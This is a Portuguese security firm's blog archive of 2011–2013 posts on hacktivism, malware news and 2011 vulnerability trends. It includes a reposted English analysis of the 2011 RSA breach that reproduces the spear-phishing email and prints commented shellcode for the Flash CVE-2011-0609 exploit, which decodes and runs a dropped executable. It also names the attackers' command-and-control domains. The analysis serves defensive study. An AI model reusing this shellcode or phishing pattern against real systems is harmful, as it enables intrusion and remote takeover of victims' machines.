Arquivo da Categoria Segurança

Como os hackers estão mudando o mundo

Publicado por redator em 20/05/2013
Por Daniel Lemos – Diretor da Real Protect

Tem sido cada vez mais comum acompanharmos notícias sobre ataques cibernético cometidos por hackers contra governos, empresas e até mesmo usuários comuns. Casos recentes, como o acesso aos dados do e-mail pessoal da presidente Dilma Rousseff e a invasão ao computador da atriz Carolina Dieckmann, alertam para o fato de que os Hackers estão mudando o mundo a nossa volta.

No final de 2010 deu-se início ao movimento que ficou conhecido como primavera árabe.  Esse movimento começou na Tunísia e se espalhou por outros países do norte da África e Oriente Médio, por meio de protestos e manifestações revolucionárias. Muito embora o início desse movimento seja atribuído a um jovem tunisiano que ateou fogo ao seu próprio corpo, como manifestação contrária às condições de vida no país, menos de um mês antes, em 28 de novembro de 2010, uma série de informações confidenciais foi publicada na Tunísia contra o governo do presidente Ben Ali.

As informações haviam sido roubadas de um servidor do exército norte-americano por um soldado e entregues ao site Wikileaks. Elas mostravam a visão norte-americana sobre os excessos da família do então presidente da Tunísia, a corrupção que havia tomado conta do governo e a fragilidade do apoio dos Estados Unidos ao regime.

Com as precárias condições da população, sem comida e sem emprego, e o vazamento de informações  mostrando que o governo não tinha tanto apoio internacional como se acreditava, em 18 de Dezembro de 2010 iniciou-se uma grande revolta que depôs Ben Ali.  Foi o resultado de uma atividade hacker de roubo de informações confidenciais, com um papel importante na historia mundial, ao derrubar um regime no poder desde 1987. O sucesso da revolta na Tunísia acabou inspirando outros países da região a iniciarem revoltas contra seus governos.

Em Janeiro de 2011, foi a vez do Egito experimentar uma grande revolta. Pela primeira vez na história, as mídias sociais e a internet estavam tendo um papel fundamental numa revolução para troca de informações e mobilização da população. Sabendo disso, o governo Egípcio mandou derrubar a internet e a telefonia móvel. A atitude enfureceu a população egípcia e também o resto do mundo.

Foi nesse momento que um grupo hacker, chamado Anonymous, tomou parte efetiva no confronto. Conhecidos como ativistas hackers, ou hacktivistas, o grupo Anonymous são conhecidos por se envolverem em causas a favor da liberdade de expressão e liberdade da internet. Após a interrupção do serviço de internet pelo governo, o Anonymous passou a oferecer para a população egípcia novas formas de conexão através de dial-up modems, criptografia e postagem de conteúdos em redes sociais. A revolução Egípcia foi ajudada pelas mídias sociais e o grupo hacker ajudou a manter o acesso à internet e às mídias sociais, mesmo quando o governo tentou derrubá-la.

Mas, os exemplos também estão mais próximos do que podemos imaginar. Em janeiro deste ano, uma quadrilha de hackers foi detida numa casa de luxo em Búzios, no Rio de Janeiro.  O bando fraudou contas pela internet e desviou mais de R$ 2 milhões de reais de correntistas, na maioria empresas.  Eles espalhavam malwares (vírus de computador), acessavam as contas e depois transferiam o dinheiro para contas de familiares e amigos. Com o dinheiro do roubo, eles alugaram uma mansão em búzios e  viviam cercados de luxo, drogas e muita festa.

Assim como a internet já faz parte do nosso dia-a-dia, as atividades “hackers” também estão presentes com frequência, sejam elas conduzidas com propósitos que poderiam ser considerados legítimos e moralmente éticos ou conduzidas por cibercriminosos, que roubam e extorquem cidadãos, com o propósito de obterem dinheiro fácil.

Em março, um oficial da inteligência norte-americana apontou que a ameaça de alguém atacar os Estados Unidos pela Internet é mais urgente do que ataques vindos de redes de terroristas globais. Ao mesmo tempo, o governo do país anunciou a criação de 13 times que irão conduzir ações de resposta a ciberataques. No Brasil, o governo liberou linhas de financiamento para projetos que visam melhorar a segurança nacional contra possíveis ciberataques.

Os governos estão cientes do impacto que atividades “hackers” podem ter no mundo. Cabe a nós, como cidadãos, compreendermos que, assim como estamos expostos a riscos quando saímos de casa, também estamos expostos a uma série de ameaças quando conectamos o computador ou celular na internet. O simples fato de nos mantermos alertas aos riscos da internet já melhora as chances de não nos tornarmos vítimas. Na dúvida, desconfie, não clique, peça ajuda a um especialista.

 

Este artigo foi publicado no site PC Mag. Confira aqui. http://pcmag.com.br/noticias/opinioes/como-os-hackers-estao-mudando-o-mundo

 


Cresce o número de ciberataques a pequenas e médias empresas

Publicado por redator em 07/05/2013

A partir desta semana, o especialista em segurança da informação e diretor da Real Protect Daniel Lemos passa a fazer parte do time de colunistas da PCMag.

De 15 em 15 dias, será possível conferir um artigo do especialista no site, com dicas de segurança e tecnologia da informação.

Confira aqui o primeiro artigo de Daniel Lemos na PCMag, no qual o especialista aborda o aumento dos ciberataques a pequenas e médias empresas e aprenda o que pode ser feito para prevenir o seu negócio.

Se você gostou desse artigo e quer ficar ainda mais informado nas novidades e na coluna de Daniel Lemos na PCMag, curta a FanPage do site https://www.facebook.com/PCMagBR

 


Computadores Infectados com DNS Changer ficarão sem acesso à Internet

Publicado por redator em 06/07/2012

Na próxima segunda-feira, 9 de julho, os servidores da empresa Esthost/Rove Digital, envolvidos na distribuição do malware DNS Changer, serão desativados, como parte da ação anti-cibercrime chamada de operação Ghost Click. Esta ação foi realizada há meses mas alguns efeitos poderão ser sentidos nos próximos dias.

Segundo o DNS Changer Working Group, mais de 300.00 usuários ainda estão infectados com o malware DNS Changer e ficarão sem acesso à Internet nesta segunda-feira.

 

Confira nesta página no site da Trend Micro como agir se você desconfia que está infectado com o malware DNS Changer.

 

 


O que você precisa saber sobre o novo vírus FLAME!

Publicado por redator em 22/06/2012

Mais um novo dia e mais um novo vírus. E isto já tem sido uma rotina, tanto dos usuários corporativos como os consumidores.  Entretanto, o mais novo vírus, o FLAME, traz funcionalidades novas e um DNA ainda pouco conhecido. E é justamente este desconhecimento, onde mora o perigo.

De acordo com diversas fontes, suspeita-se que o FLAME tenha nascido nos laboratórios do NSA (National Security Agency), o laboratório de segurança do governo americano, e um dos mais sofisticados no mundo. Dado que numa primeira visão, o seu propósito parece ter sido de espionagem dos governos mais radicais do Oriente Médio, muitos podem concluir que não se trata de uma ameaça, especialmente os usuários finais, sejam corporativos ou consumidores.

E isto, num primeiro momento parece ser verdade. Mas numa análise mais ampla e detalhada sobre as novas funcionalidades detectadas no vírus FLAME, combinado com a tendência cada vez maior do crime organizado atuar nas redes digitais, é importante tomar nota e consequentemente as devidas precauções, do que poderá vir pela frente como desdobramento e evolução do vírus.

O seu grande destaque, na realidade é a combinação de funções, que antes estavam distintas, num único encapsulamento, colocando juntas capacidades de trojan, backdoor e worms, transformando-o em um arsenal de armas.

O que se sabe até agora é que ele pode extrair dados de computadores de várias formas, como os dados do áudio do microfone de um computador, vasculhar caixas de entrada, quebrar senhas que estão ocultas por asteriscos, transmitir dados visuais a partir de capturas de tela, e até mesmo digitalizar dispositivo Bluetooth para obter informações se eles estão conectados a um sistema infectado.

Isto pode ainda não representar uma ameaça ao mundo corporativo, mas o fato de se ter um vírus evoluído e com este tipo de arsenal, e sabendo que o crime organizado se faz cada vez mais presente no mundo dos bits, isto sem dúvida deve ser um sinalizador que as empresas irão em breve enfrentar novos desafios no campo da segurança da informação. E para se proteger irão precisar ter os seus “exércitos” e “Swat – Team” bem treinados e preparados. Pois não irá demorar muito para, o que hoje ainda é uma realidade somente no mundo da espionagem, passar a também estar presente no mundo corporativo.

 


Segurança móvel deve incluir altos cargos empresariais

Publicado por redator em 10/05/2012

Tecnologia voltada a consumidores comuns é conveniente, fácil de assimilar e divertida de usar. No entanto, ela é, geralmente, menos segura e gerenciável do que é requerido pelo mundo corporativo. Mas, em tempos de consumerização, é inevitável que esses dois mundos se misturem e, para que sejam evitados ataques e exposição de informações confidenciais, é importante que as companhias tenham uma abordagem estratégica da segurança, com políticas flexíveis e ferramentas adequadas.

Com isso em mente, o novo levantamento realizado pela Trend Micro aponta que a segurança corporativa voltada à mobilidade deve levar em consideração o cargo de cada executivo. Afinal, cada colaborador, a depender de suas funções, tem acesso a um nível específico de informação e, sendo assim, as ferramentas escolhidas têm de ir ao encontro dessa premissa.
Executivo: por conta de sua alta visibilidade, são mais suscetíveis a ataques direcionados e planned device compromise. Seus emails e informações armazenadas no device são de grande valia para chantagens e spear-phishing.

Gerente: como manipulam dados de funcionários e informações substanciais referentes à Propriedade Intelectual, os gestores devem ser vistos de forma semelhante no que se relaciona ao compliance.

Colaborador sujeito à compliance: trabalhando em operações de áreas como RH e Finanças, esses usuários estão regularmente de posse de dados sujeitos a controles de segurança ditados e executados por vários requisitos de conformidade.

Colaborador padrão: esses usuários, em geral, acessam apenas às funcionalidades básicas do PIM (Personal Information Manager) de seus aparelhos móveis

Executivo de campo (ou remoto): pela natureza de sua ocupação, eles geralmente armazenam dados em seus aparelhos, para serem usados quando estão fora do alcance de redes de internet. Esses usuários necessitam de controles de segurança adicionais.

Usuários ocasionais: em toda empresa, há uma porção de pessoas que têm acesso às informações da companhia, mas não são funcionários contratados – são prestadores de serviços, por exemplo. Esses usuários são o maior desafio em termos de segurança.

O report também apresentou uma avaliação isenta dos quatro principais sistemas operacionais móveis: BlackBerry OS, Apple iOS, Windows Phone e Android. O levantamento mostrou que, como um grupo, as plataformas mais modernas proporcionam – substancialmente – mais segurança que os sistemas operacionais tradicionais para desktop, quando são levados em consideração mecanismos embutidos, autenticação e proteção de dados.

“Apesar de haver esse avanço na segurança, ainda há espaço para melhoras e os principais pontos que o gerente de TI deve considerar incluir são: certificações de segurança, firewall para o aparelho e suporte para virtualização”, afirma Fabio Picoli, diretor comercial da Trend Micro Brasil.

 

*Matéria Decision Report

 


Trend Micro – 2011 in Review: Explorados e Vulneráveis

Publicado por redator em 16/01/2012

In recent years, we have seen client-side software heavily targeted by hackers in search of vulnerabilities. 2011 saw these threats become more complex and sophisticated. We saw attackers increasingly use zero-day vulnerabilities, some of which have been particularly critical. Examples of these include the vulnerability Duqu exploited (CVE-2011-3402);Javavulnerability (CVE-2011-3544); or Adobe zero-day vulnerabilities, which were exploited in the wild.

The exploit attacks we saw this year were targeted, original, sophisticated, and well controlled.

Among the applications most targeted in the wild were Adobe Acrobat, Reader, and Flash Player; Java Runtime Environment (JRE)/Java Development KIT (JDK); and Internet Explorer. Exploit kits like Black Hole and Phoenix were really prompt to pick exploits for these applications and go after users with high success rates. We also saw browser vendors release patches several times within the year to patch critical vulnerabilities.

Attacks were successful because a high percentage of users still used unpatched versions of vulnerable software. According to a CSIS study, 37% of users still browse the web with unsecured Java versions. A Zscaler survey also reported that 56% of enterprise users utilize vulnerable versions of Adobe products, putting the onus on security administrators to deploy virtual patching products such as Trend Micro Deep Security or the OfficeScan IDF plug-in.

 

Server Vulnerabilities

Having said that, there’s an ugly side to server/OS vulnerabilities as well. Things largely remained the same in this space, as shown by the number of vulnerabilities in Windows Server 2008 and Redhat.

 

 

Credit to CVE Details as source of the above data

Cybercriminals also exploited vulnerabilities in web applications. SQL injection attacks were used to compromise millions of web pages. In two separate mass SQL injection attacks, malicious scripts were inserted into legitimate websites. The first one in July hit 8 million websites. A second wave in October affected 1 million websites. Apart from SQL injection attacks, attacks exploiting cross-site scripting (XSS), cross-site request forgery, Directory Traversal, and other vulnerabilities in web applications (e.g., PHP, WordPress, Joomla, etc.) also occurred in large numbers and will continue to do so next year.

Some of the 2011 vulnerabilities worth mentioning are:

CVE-2011-0609 Adobe Flash Player ‘SWF’ File Remote Memory Corruption Vulnerability
CVE-2011-3402 Win32k True Type Font Parsing Vulnerability
CVE-2011-3544 Oracle Java SE Rhino Script Engine Remote Code Execution Vulnerability
CVE-2011-2462 Adobe Acrobat and Reader U3D Memory Corruption Vulnerability
CVE-2011-0611 Adobe Flash Player ‘SWF’ File Remote Memory Corruption Vulnerability
CVE-2011-3192 Apache httpd Range Header Remote Denial Of Service

What Can Users Do?

To protect against attacks exploiting the above-mentioned and similar vulnerabilities, a good patch management strategy is required. To mitigate any damage during the patch cycle, a virtual patching solution should be deployed as well.

The trends that we saw in 2011 are going to continue in 2012. We will see attacks become more complicated. The defenses against these threats will have to evolve and adjust to keep users protected in 2012.

 


Boas Festas!!! A Real Protect tem uma mensagem especial para você

Publicado por redator em 26/12/2011


Into the Darkness: Dissecando Ataques direcionados

Publicado por redator em 05/12/2011

Olá Pessoal,

Vale a pena conferir brilhante matéria do Rodrigo Branco da Qualys. Parabéns Rodrigo!

Neste artigo, ele examina os componentes usados ​​em uma onda de ataques que aconteceram no início deste ano, primeiro tornado público pela RSA março 2011. Aqui ele apresenta os detalhes das mecânicas utilizadas para efetivar os ataques. Além disso, explica as possibilidades de melhorar as técnicas de defesa.

 

The current threat landscape around cyber attacks is complex and hard to understand even for IT pros. The media coverage on recent events increases the challenge by putting fundamentally different attacks into the same category, often labeled as advanced persistent threats (APTs). The resulting mix of attacks includes everything from broadly used, exploit-kit driven campaigns driven by cyber criminals, to targeted attacks that use 0-day vulnerabilities and are hard to fend off – blurring the threat landscape, causing confusion where clarity is most needed.

This article analyzes a specific incident – last March’s RSA breach, explaining the techniques used by the attackers and detailing the vulnerability used to gain access to the network. It further explores the possible mitigation techniques available in current software on the OS and application level to prevent such attacks from reoccurring.

Introduction

In this article, I will examine the components used in a wave of attacks that happened earlier this year, first made public by RSA in March 2011. I will also detail the exploit mechanics and explain the possibilities for improving the defense mechanisms.

The implementation of these defense mechanisms could have neutralized the attack and prevented the installation of the final malware. I believe these defensive techniques apply to malware and other infection vectors, and should be implemented on a wider scale to prevent attacks.

For researchers looking to gain a comprehensive understanding in Adobe Flash vulnerabilities, this article will detail how the exploit works, the vulnerability internals and techniques used in the attack.

For security practitioners interested in having access to a better explanation of the incident, this blog will provide a good amount of information as well, since it emphasizes specifics of the attack procedure.

The article’s content is divided into six main sections, each one discussing possible workarounds that could have helped prevent an attack. Section 1 – ”General Mechanics of the Attack” explains what the attack was all about, and is a great starting point for those who are not aware of the already public details.  Section 2 – “The Email” explains the initial mechanism used to spread the attack, which was an email sent to some specific employees of the target company.   Section 3 – “The Spreadsheet” delves into the spreadsheet attached to the email and the results on the end-user when opening it.  Section 4 -“The Exploit” discusses the actual exploit code and its payload (the shellcode, not the final, dropped malware). Next, in the section, “The Malware,” I discuss the fairly generic, straightforward malware used.  In the final “Conclusion” section of the article, I discuss possible future trends and ways to proactively protect against attacks.

General Mechanics of the Attack

The attack was delivered by an email sent to specific individuals inside the target company. The email contents are going to be further discussed in the next sections, but in essence the email contained a attachment, a spreadsheet intended to be opened using Microsoft Excel.  The spreadsheet itself included an embedded Flash object, which was configured to exploit a 0-day, i.e. previously unknown vulnerability in the Adobe Flash Player software, which is now categorized as CVE-2011-0609.

Once the Flash object ran, it installed the Poison Ivy RAT (Remote Administration Tool) included inside the Flash object to guarantee further access to the attackers.  Poison Ivy has a plethora of capabilities available to its controller such as key-logging, scanning, data exfiltration and other mechanism that are designed to help the attacker to gain deeper access to the target’s network.

The Email

 

From:  webmaster@beyond.com Beyond is a partner known to RSA employees
To: 1 RSA employee
Cc: 3 more RSA employees
Cleverly addressed to one person, with more targets on CC, looks less like SPAM
Subject: 2011 Recruitment Plan Subject of interest to HR and Managers
Body: I forward this file for you to review.  Please, open and view it. Too simple to look real, even accounting for current trends to simplify communication
Attachment: 2011 Recruitment Plan.xls

 

When this email was received by the mail system, it was classified as SPAM and put into the junk email folder.  The email was convincing enough though, for at least one user that moved it back to the inbox for viewing.

The Spreadsheet

Once the user opened the attached spreadsheet with Microsoft Excel 2007, the user saw the following:

 

In the default configuration of Excel 2007, the embedded Flash content is automatically parsed by the Flash player. In this case, the Flash object executed and after 2-5 seconds, the Excel program closed. The Flash object contained a second spreadsheet, apparently designed to be opened and displayed to trick the user into attributing the behaviour to a technical glitch:

 

 

While the name of the file changed, originally it was 2011 Recruitment Plan and it became crsenvironscan2, it is reasonable to assume that an end-user would not notice the change or the quick opening/closing of Excel.

The content of the final spreadsheet was unrelated to a Recruitment Plan; instead it displayed company names with research funds from the Department of Homeland Security.

As I mentioned earlier, once the spreadsheet was opened, Excel automatically launched the Flash parser. This behaviour could have been easily prevented if the following techniques were in place:

  1. There is a configuration setting of Office 2007 (Trust Center, ActiveX) that would prevent the immediate execution:
  2. The more modern Office 2010 version of Excel contains another helpful feature: the new Protected View Sandbox prevents the automatic parsing of such embedded objects already in the standard configuration:In such a case, the user needs to interact again in order for the exploit to work, by clicking on the “Enable Editing” option.
  3. Lastly another feature that few users know about, which would have prevented this specific exploit from running, is Data Execution Prevention (DEP). DEP is a security technology that prevents applications from executing machine code stored in certain regions of memory that are marked as non-executable, a technique that is quite frequently used by exploits, for example during a buffer overflow attack. It was introduced in Windows XP SP2 around 2004 as an opt-in feature and can be activated manually through the Control Panel or network wide through a system policy.Either way, once activated it prevents the exploit under analysis from running, as program “a” is attempting an illegal operation.As DEP is enabled by default in modern versions of Windows, such as Vista and Windows 7, this vulnerability would not have run on either of these OSes (as it is going to be discussed later, there is also a dependency of operating system in the shellcode used in this attack). The same Flash vulnerability continues to exist on these systems, but DEP prevents it from executing. The exploit would have to be modified to deal with the more constrained execution environment that DEP provides.  Additionally, Windows Vista started using ASLR (Address Space Layout Randomization) which greatly difficulties the ways for bypassing DEP.

Most of this section will be related to the actual exploit code and what I did in the lab to trace its execution.  To understand the inner workings of the vulnerability, I first reduced the embedded exploit code into a small PoC only containing the minimal SWF file (Flash file) to trigger the issue.

Adobe Flash is mainly used to create rich Internet content, for example adding videos and animations to web pages, and it is installed in almost all browsers. But it is supported as well by other content displayers, such as the Adobe PDF Reader and Microsoft Office Excel.

Small Web Format (SWF) is the file format used by Flash.  Internally, Flash supports a scripting language know as ActionScript.  ActionScript  is interpreted by the ActionScript Virtual Machine (AVM), currently in version 2, while the newest version of ActionScript is 3.0. ActionScript is basically an implementation of the ECMAScript standardized language.

The script source code is compiled into segments to create the final SWF file. Those segments are called ActionScript Byte Code (ABC) segments. Each segment is described by the abcFile structure, used by the AVM to load the bytecode.

The documentation shows us that the abcFile structure is defined like:

abcFile
{
u16 minor_version
u16 major_version
cpool_info constant_pool
u30 method_count
method_info method[method_count]
u30 metadata_count
metadata_info metadata[metadata_count]
u30 class_count
instance_info instance[class_count]
class_info class[class_count]
u30 script_count
script_info script[script_count]
u30 method_body_count
method_body_info method_body[method_body_count]
}

The entire process (from the ActionScript source code to the JIT generated code) can be seen in the following diagram [1]:

 

The division into bytecode blocks depends on the jump targets, defined by the jump operators [1].  To guarantee proper execution of the generated code, the verification step tries to validate proper execution.

Most of the vulnerabilities related to Flash are due to mismatching between the verified process flow and the actual execution flow.

From the above diagram, we have:

ActionScript Source Code:

trace(“aaaaaaaa”);

The actual bytecodes:

findpropstric <q>[public]::trace         ; func trace() obj pushed
pushstring “aaaaaaaa”             ; string pushed
callpropvoid <q>[public]::trace, 1 params     ; call the func object

This will pass the verification, since it generates a safe execution flow.

If we change the first findpropstric to:

pushint 0×414141

We fail the verification process, since the callpropvoid expects an object and receives an integer.  Obviously, if for any reason this passes the verification, we have a security issue.

When there is a verification error, the AVM throws a VerifyError.  When the execution enters a method, there are three local data areas:

pushint 0×414141

operand stack segment -> Operands to the instructions (pushed/poped
from the stack by the instructions)
scope stack segment -> name lookup for the objects
group of local registers -> parameter values, local vars and others

This specific vulnerability is due to the failure of the verifier to identify when the stack state has become inconsistent after a jump to the incorrect position.  The next instructions will write to the wrong object into the ActiveScript stack, overwriting memory areas.

01823E2C   8B4A 70          MOV ECX,DWORD PTR DS:[EDX+70]
01823E2F   8D55 90          LEA EDX,DWORD PTR SS:[EBP-70]
01823E32   8945 90          MOV DWORD PTR SS:[EBP-70],EAX
01823E35   8B01             MOV EAX,DWORD PTR DS:[ECX]
01823E37   52               PUSH EDX
01823E38   6A 00            PUSH 0
01823E3A   51               PUSH ECX
01823E3B   FFD0             CALL EAX

 

The program fails in the instruction:

mov ecx, dword ptr ds:[EDX+70]

 

Trying to read from an invalid memory address.   In:

mov eax, dword ptr ds:[ecx]

The read value (if successful) will be loaded in eax and then later in

call eax

execution is transferred to that location.

In the case of the exploit at hand, the first step was to isolate the swf file in the Excel spreadsheet.

Embedded Flash code is then spraying the memory and loading another flash file in the same context to trigger the vulnerability.

The shellcode in use by the exploit uses a known technique for finding the kernel base (it does not work in Windows 7 and thus the exploit code will not work against Windows 7 platform) [2].

In [2] we have the extracted shellcode.   The shellcode will create and execute a file named a.exe. I’m providing it here with some additional comments:

; The next 6 instructions has been a well-known
; method to get the KernelBase and does not Work
; Against Windows 7
; For references: [3]
mov     eax, large fs:30h    ; PEB Base
mov     eax, [eax+0Ch] ; PEB_LDR_DATA
; (InInitOrderModuleLst)
mov     esi, [eax+1Ch]
lodsd                ; move to the next LIST_ENTRY
mov     esi, [eax+8]        ; Get KernelBase
jmp     loc_401274

; Allocates space in the stack and then defines EDI
; as a pointer to the space (to be used inside the routine)
; This space will store the hashes for the functions
; the shellcode needs
sub_401037      proc near
pop     eax
sub     esp, 200h
mov     edi, esp
mov     [edi+8], esi
mov     [edi+10h], eax      ; offset of a.exe
nop
push    dword ptr [edi+8]
push    0C0397ECh
call    get_fn_by_hash
mov     [edi+1Ch], eax      ; kernel32.GlobalAlloc
push    dword ptr [edi+8]
push    7CB922F6h
call    get_fn_by_hash
mov     [edi+20h], eax      ; kernel32.GlobalFree
push    dword ptr [edi+8]
push    7C0017A5h
call    get_fn_by_hash
mov     [edi+24h], eax      ; kernel32.CreateFileA
push    dword ptr [edi+8]
push    0FFD97FBh
call    get_fn_by_hash
mov     [edi+28h], eax      ; kernel32.CloseHandle
push    dword ptr [edi+8]
push    10FA6516h
call    get_fn_by_hash
mov     [edi+2Ch], eax      ; kernel32.ReadFile
push    dword ptr [edi+8]
push    0E80A791Fh
call    get_fn_by_hash
mov     [edi+30h], eax      ; kernel32.WriteFile
push    dword ptr [edi+8]
push    0C2FFB025h
call    get_fn_by_hash
mov     [edi+34h], eax      ; kernel32.DeleteFile
push    dword ptr [edi+8]
push    76DA08ACh
call    get_fn_by_hash
mov     [edi+38h], eax      ; kernel32.SetFilePointer
push    dword ptr [edi+8]
push    0E8AFE98h
call    get_fn_by_hash
mov     [edi+3Ch], eax      ; kernel32.WinExec
push    dword ptr [edi+8]
push    78B5B983h
call    get_fn_by_hash
mov     [edi+40h], eax      ; kernel32.TerminateProcess
push    dword ptr [edi+8]
push    7B8F17E6h
call    get_fn_by_hash
mov     [edi+44h], eax ; kernel32.GetCurrentProcess
push    dword ptr [edi+8]
push    0DF7D9BADh
call    get_fn_by_hash
mov     [edi+48h], eax      ; kernel32.GetFileSize
push    dword ptr [edi+10h]
call    dword ptr [edi+34h] ; call DeleteFileA(a.exe)
xor     esi, esi

; To locate the handle to the excel file
loc_40110F:
inc     esi            ; check open handles with size
; greater then 65536 bytes
lea     eax, [edi+60h]
push    eax
push    esi
call    dword ptr [edi+48h] ; call GetFileSize
cmp     eax, 0FFFFFFFFh
jz      short loc_40110F
cmp     eax, 10000h
jbe     short loc_40110F
mov     [edi+4], eax
mov     [edi+60h], esi
push    dword ptr [edi+4]
push    40h
call    dword ptr [edi+1Ch] ; GlobalAlloc(FileSize)
mov     [edi+5Ch], eax
push    0
push    0
push    0
push    dword ptr [edi+60h]
call    dword ptr [edi+38h] ; SetFilePointer to
; begin of file
cmp     eax, 0FFFFFFFFh
jz      short loc_401191
push    0
lea     ebx, [edi+70h]
push    ebx
push    dword ptr [edi+4]
push    dword ptr [edi+5Ch]
push    dword ptr [edi+60h]
call    dword ptr [edi+2Ch] ; ReadFile
mov     ecx, [edi+70h]
sub     ecx, 10h
mov     eax, [edi+5Ch]

; Used to identify the binary file
loc_401161:
inc     eax
cmp     dword ptr [eax], 47422E43h
jnz     short loc_401173
cmp     dword ptr [eax+4], 19890604h     ; Find in File
; 43 2E 42 47 04 06 89 19
jz      short loc_401177

loc_401173:
loop    loc_401161
jmp     short loc_401191
; —————————————————

loc_401177:
add     eax, 8
mov     [edi+14h], eax

loc_40117D:
inc     eax
cmp     dword ptr [eax], 4B635546h
jnz     short loc_40118F
cmp     dword ptr [eax+4], 19820424h
jz      short loc_40119D

loc_40118F:
loop    loc_40117D

loc_401191:
push    dword ptr [edi+5Ch]
call    dword ptr [edi+20h]
jnz     loc_40110F

; Creates the binary file
loc_40119D:
add     eax, 8
mov     [edi+18h], eax
push    0
push    80h
push    2
push    0
push    0
push    40000000h
push    dword ptr [edi+10h]
call    dword ptr [edi+24h]     ; CreateFile
mov     [edi+64h], eax
mov     dword ptr [edi+6Ch], 905A4Dh
push    0
lea     ebx, [edi+70h]
push    ebx
push    4
lea     ebx, [edi+6Ch]
push    ebx
push    dword ptr [edi+64h]
call    dword ptr [edi+30h] ; WriteFile(‘MZxx’) ->
; Re-create the header
mov     eax, [edi+18h]
sub     eax, [edi+14h]
sub     eax, 8
mov     ebx, [edi+14h]

loc_4011E3:
xor     [ebx], al
inc     ebx
dec     eax
inc     ebx
dec     eax
cmp     eax, 0
jnz     short loc_4011E3
push    0
lea     ebx, [edi+70h]
push    ebx
mov     ebx, [edi+18h]
sub     ebx, [edi+14h]
sub     ebx, 8
push    ebx
push    dword ptr [edi+14h]    ; Offset Located
push    dword ptr [edi+64h]    ; Handle Location
call    dword ptr [edi+30h]    ; WriteFile
push    dword ptr [edi+64h]    ; Handle Location
call    dword ptr [edi+28h]    ; CloseHandle
push    0
push    dword ptr [edi+10h]    ; a.exe Location
call    dword ptr [edi+3Ch]    ; WinExec(a.exe)
push    0
call    dword ptr [edi+44h]     ; GetCurrentProcess
push    0
push    eax
call    dword ptr [edi+40h]     ; TerminateProcess
sub_401037      endp

; ===== S U B R O U T I N E =====
; This subroutine is responsible for calling the functions
; based on its hash (thus providing better support to
; different addresses instead of using fixed definitions
; inside the shellcode)
get_fn_by_hash  proc near

arg_0           = dword ptr  8
arg_4           = dword ptr  0Ch

push    ebp
mov     ebp, esp
push    edi
mov     edi, [ebp+arg_0]
mov     ebx, [ebp+arg_4]
push    esi
mov     esi, [ebx+3Ch]
mov     esi, [ebx+esi+78h]
add     esi, ebx
push    esi
mov     esi, [esi+20h]
add     esi, ebx
xor     ecx, ecx
dec     ecx

loc_40123D:
inc     ecx
lodsd
add     eax, ebx
push    esi
xor     esi, esi

loc_401244:
movsx   edx, byte ptr [eax]
cmp     dh, dl
jz      short loc_401253
ror     esi, 0Dh
add     esi, edx
inc     eax
jmp     short loc_401244

loc_401253:
cmp     edi, esi
pop     esi
jnz     short loc_40123D
pop     edx
mov     ebp, ebx
mov     ebx, [edx+24h]
add     ebx, ebp
mov     cx, [ebx+ecx*2]
mov     ebx, [edx+1Ch]
add     ebx, ebp
mov     eax, [ebx+ecx*4]
add     eax, ebp
pop     esi
pop     edi
pop     ebp
retn    8
get_fn_by_hash  endp

loc_401274:
call    sub_401037
; ———————————————————–
aA_exe          db ‘a.exe’,0

 

The malware used in this case was fairly generic, most likely chosen by the attackers for its functionality and ability to evade detection by popular AV tools. It was a version of Poison Ivy, which is a RAT tool providing complete control of a victim’s machine, allowing installation of more software, monitoring of keystrokes, and other network reconnaissance activities.

The malware, a version of a toolkit available since 2005, was configured to connect back to the mincesur.com domain at good.mincesur.com. This domain had been associated with malicious activity before using names such as download.mincesur.com, good.mincesur.com, man.mincesur.com and in connection with domain wekby.com (hjkl.wekby.com, qwer.wekby.com, uiop.wekby.com). This is a good example of the importance of outbound traffic control as a security measure since those domains had been identified as malicious even before the attack by a number of security companies. It illustrates the need for a fast and reliable information exchange schema so that such domains can be blocked as soon as possible.

Conclusion

While I investigated an exploit on Adobe Flash, the sheer number of software installed on modern machines in network environments opens the door for similar attacks. The complexities of typical software packages create a huge attack surface, a fact that has been repeatedly utilized by exploit writers.

Modern defense mechanisms exist to impede the success of such attacks. They create a barrier by elevating the technical difficulty of the attack.  There is a tremendous opportunity for IT pros to turn the tables on the attackers and increase the cost of the attack to a level where all but the most determined attackers will fail. This covers the great majority of attacks, including automated attacks and those re-using previously delivered exploit codes.

Acknowledgements

I would like to thank Mikko Hypponen from F-Secure for sharing the emails they found related to this attack.  Having access to trusted sources for the data to be analyzed is very important for a technical report.

Special thanks also goes to Wolfgang Kandek, Qualys CTO, for giving me the time to work to understand the technical underpinnings of the attack and for helping me with reproducing each step. This is very time intensive part of the setup where multiple virtual machines are needed to cover all possible scenarios.

References

[1] Li, Haifei; “Understanding and Exploiting Flash ActionScript Vulnerabilities” CansecWest 2011.

[2] Villys777; “CVE-2011-0609:  Adobe Flash Player ZeroDay” http://bugix-security.blogspot.com/2011/04/cve-2011-0611-adobe-flash-zero-day.html

[3] sk; “History and Advances in Windows Shellcoding” http://www.phrack.org/issues.html?id=7&issue=62

 


Spams causam prejuízos de bilhões de dólares para empresas

Publicado por redator em 10/11/2011

Trend Micro aponta que mensagens maliciosas custaram US$ 2,8 bilhões em perda de produtividade às europeias e US$ 20 bilhões para as norte-americanas.

Spams para anunciar falsos produtos e serviços, no intuito de direcionar a sites de phishing ou conduzir destinatários a sites maliciosos para roubar dados ou dinheiro é cada vez mais comum. No mundo corporativo, os prejuízos são enormes. Estudo da Trend Micro aponta que essa ameaça constante se traduz em perda financeira para grande parte das empresas.

“Essas mensagens custaram cerca de 2,8 bilhões de dólares em perda de produtividade às empresas europeias, enquanto as norte-americanas relataram prejuízo de 20 bilhões de dólares”, diz César Cândido, executivo da Trend Micro e especialista em segurança virtual. Segundo a companhia, quase 200 bilhões de spams são enviados todos os dias, um aumento de mais de cem vezes em relação aos 2,4 bilhões de 2002.

O levantamento mostra também que do ponto de vista empresarial, as novas tendências no cenário de spams vão além da inundação usual de e-mails em massa e incluem agora o “spear-phishing”, utilizado por cibercriminosos que desejam obter acesso a alvos específicos da organização.

Um típico ataque de spear-phishing envolve, inicialmente, uma pesquisa para determinar para quem o e-mail de phishing deve ser enviado. Para isso, os criminosos enviam spams para várias contas de e-mail de uma determinada empresa. “Eles, então, identificam para quais contas enviarão o e-mail de phishing para obter as informações de que precisam”, explica o especialista.

O spear-phishing resulta em perda financeira grave, revela. A maioria dos ataques direcionados que funcionam é persistente e construída sobre o elo mais comum, o ser humano, vítima de truques de engenharia social.

Social business

